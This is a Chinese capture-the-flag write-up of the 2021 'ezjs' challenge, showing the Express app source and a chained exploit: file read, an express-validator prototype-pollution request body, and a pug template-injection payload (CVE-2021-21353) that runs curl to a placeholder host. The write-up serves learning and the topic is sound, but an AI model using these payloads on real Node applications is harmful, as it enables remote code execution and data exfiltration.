2021巅峰极客——ezjs

2021巅峰极客ezjs复现

用户名密码随便输入进行登录,有一个目录穿越,任意文件读取,抓包把源码下载下来

%title插图%num

// app.js

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var crypto = require('crypto');
var session = require('express-session');
var sessionStore = require('session-file-store')(session);
var key = 'session';

var indexRouter = require('./routes/index');
var app = express();
var secrets = crypto.randomBytes(32).toString('hex');
app.use(session({
  name: key,
  secret: secrets,
  store: new sessionStore(),
  saveUninitialized: false,
  resave: false,
  cookie: {
    maxAge: 100 * 60 * 600
  }

}));

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(logger('dev'));
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;
// index.js

var express = require('express');
var router = express.Router();
var {body, validationResult} = require('express-validator');
var crypto = require('crypto');
var fs = require('fs');
var validator = [
  body('*').trim(),
  body('username').if(body('username').exists()).isLength({min: 5})
  .withMessage("username is too short"),
  body('password').if(body('password').exists()).isLength({min: 5})
  .withMessage("password is too short"),(req, res, next) => {
        const errors = validationResult(req)
        if (!errors.isEmpty()) {
      return res.status(400).render('msg', {title: 'error', msg: errors.array()[0].msg});
        }
        next()
    }
];

router.use(validator);    // 使用刚才设置的 validator 作为中间件对传递的表单数据进行验证

router.get('/', function(req, res, next) {
  return res.render('index', {title: "登录界面"});
});

router.post('/login', function(req, res, next) {
  let username = req.body.username;
  let password = req.body.password;
  if (username !== undefined && password !== undefined) {

    if (username == "admin" && password === crypto.randomBytes(32).toString('hex')) {
      req.session.username = "admin";
    } else if (username != "admin"){
      req.session.username = username;

    } else {
      return res.render('msg',{title: 'error', msg: 'admin password error'});
    }
    return res.redirect('/verify');
  }

  return res.render('msg',{title: 'error',msg: 'plz input your username and password'});
});

router.get('/verify', function(req, res, next) {
  console.log(req.session.username);
  if (req.session.username === undefined) {
    return res.render('msg', {title: 'error', msg: 'login first plz'});
  }
  if (req.session.username === "admin") {
    req.session.isadmin = "admin";
  } else {
    req.session.isadmin = "notadmin";
  }
  return res.render('verify', {title: 'success', msg: 'verify success'});
});

router.get('/admin', function(req, res, next) {
  //req.session.debug = true;

  if (req.session.username !== undefined && req.session.isadmin !== undefined) {

    if (req.query.newimg !== undefined) req.session.img = req.query.newimg;

    var imgdata = fs.readFileSync(req.session.img? req.session.img: "./images/1.png");
    var base64data = Buffer.from(imgdata, 'binary').toString('base64');

    var info = {title: '我的空间', msg: req.session.username, png: "data:image/png;base64," + base64data, diy: "十年磨一剑😅v0.0.0(尚处于开发版"};

    if (req.session.isadmin !== "notadmin") {

      if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;
      if (req.query.diy !== undefined) req.session.diy = req.query.diy;
      info.diy = req.session.diy ? req.session.diy: "尊贵的admin";
      return res.render('admin', info);
    } else {
      return res.render('admin', info);
    }
  } else {
    return res.render('msg', {title: 'error', msg: 'plz login first'});
  }
});

module.exports = router;

代码逻辑相对简单

...
if (req.session.isadmin !== "notadmin") {

    if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;
    if (req.query.diy !== undefined) req.session.diy = req.query.diy;
    info.diy = req.session.diy ? req.session.diy: "尊贵的admin";
    return res.render('admin', info);
} else {
    return res.render('admin', info);
}
...

这是该段代码的可疑点,req.session.isadmin不等于notadmin并且req.session.debug 不等于undefined或者false时,info.pretty = req.query.p,这是pug 模板引擎 RCE 的漏洞 CVE-2021-21353

https://github.com/pugjs/pug/issues/3312

想要利用这个RCE,我们需要绕过 req.session.isadminreq.session.debug 这两个限制

读取 package.json 能够看到express-validator 的版本为 6.0.0,该版本的 express-validator 存在一个原型链污染漏洞

https://paper.seebug.org/1426/#_1

该题没有引用解析json的包,所以针对上面网站的payload进行修改

抓包注册(不要跳转到 /verify 路由)

username=yyyyyy&password=yyyyyy&"].__proto__["isadmin=yyyyyy&"].__proto__["debug=yyyyyy

%title插图%num

由于只验证了是否为空和false,所以我们也可以将它置为空字符

%title插图%num

成功污染inadmin和debug

%title插图%num

获得cookie进行RCE,由于pug该cve没有回显,利用外带的方式就行,

payload:

/admin?p=');process.mainModule.constructor._load('child_process').exec('curl http://ip/``');_=('
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇